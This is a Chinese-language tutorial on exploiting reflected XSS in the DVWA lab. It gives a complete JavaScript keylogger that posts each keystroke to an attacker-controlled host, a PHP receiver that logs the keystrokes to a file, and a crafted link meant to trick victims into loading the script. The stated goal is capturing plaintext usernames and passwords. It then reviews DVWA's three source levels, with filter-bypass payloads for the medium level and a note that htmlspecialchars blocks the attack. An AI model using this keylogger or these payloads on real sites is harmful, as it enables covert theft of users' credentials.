XSS跨站脚本攻击-键盘记录器

xss反射型漏洞利用-键盘记录器

xss漏洞原理:XSS跨站脚本攻击原理及常见攻击手段

键盘记录器

keylogger.js

1
2
3
4
5
6
7
8
9
10
11
document.onkeypress = function(evt) {
evt = evt || window.event;
key = String.fromCharCode(evt.charCode);
if(key) {
var http = new XMLHttpRequest();
var param = encodeURI(key);
http.open("POST","http://192.168.43.44/keylogger.php",true);
http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
http.send("key="+param);
}
}

该脚本是放在攻击者的机器中,让用户访问执行解析用的;用户执行了,在浏览器里键盘输入的字符就会发送到keylogger.php进行处理。下面就是keylogger.php的代码。

keylogger.php

1
2
3
4
5
6
7
<?php
$key=$_POST['key'];
$logfile="keylog.txt";
$fp = fopen($logfile,"a");
fwrite($fp,$key);
fclose($fp);
?>

该php脚本是用来接受受害者用户返回的数据,即键盘输入的值,然后保存到keylog.txt文本中。
所以可以事先创建keylog.txt文件
总之我们我们需要准备三个文件
image

那么接下来就是构造有反射型xss漏洞网站的url链接,诱骗用户点击

1
<script src=http://192.168.43.44/keylogger.js></script>

将上面的脚本插入到链接中

1
http://192.168.43.117/dvwa/vulnerabilities/xss_r/?name=%3Cscript+src%3Dhttp%3A%2F%2F192.168.43.44%2Fkeylogger.js%3E%3C%2Fscript%3E#

实现的效果如下
image
任意输入的字符都会被记录(在当前页面)
image

思路:诱骗用户点击url,点击之后获取攻击者的keylogger.js脚本并解析;解析之后,用户在该页面输入的任何字符会发送到keylogger.php页面进行处理,如果是登陆的站点页面,攻击者就可以轻松获得用户明文的用户名密码。

反射型xss源码分析

low

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>';
echo 'Hello ' . $_GET['name'];
echo '</pre>';

}

?>

从源码来看,服务端没有对输入的数据做任何的处理就直接返回给用户,这样攻击者可以非常容易地注入恶意的javascript脚本;

1
<script>alert('XSS')</script>

medium

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>';
echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
echo '</pre>';

}

?>

将安全等级提高到medium,代码中使用str_replace()函数,作用是将输入的数据中含有”<script>”的标签过滤掉; 然而这样的过滤没有什么用,只要替换字母大小写即可绕过,如”<scRipt>”、”<ScrIpt>”等。
或在原本的标签中再插入同样的标签,如下:

1
<scr<script>ipt>alert('XSS')</script>

image

hign

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 <?php

if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){

$isempty = true;

} else {

echo '<pre>';
echo 'Hello ' . htmlspecialchars($_GET['name']);
echo '</pre>';

}

?>

在高安全的代码中,使用了htmlspecialchars()对数据进行过滤清洗;
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
(这里实体的意思是:有些字符在html中有特殊含义,如>或< ,要想使用这些字符,就必须使用实体字符)
预定义的字符是:

  • & (和号)成为 &
  • “ (双引号)成为 “
  • ‘ (单引号)成为 ‘
  • < (小于)成为 <
  • > (大于)成为 >

使用了这个函数,脚本中标签的小于号、大于号就会被转换为&lt;和&gt;,并在返回时让浏览器重新解析
image
目前来说并没有好的方法能够绕过,可以说有效的防止了xss攻击。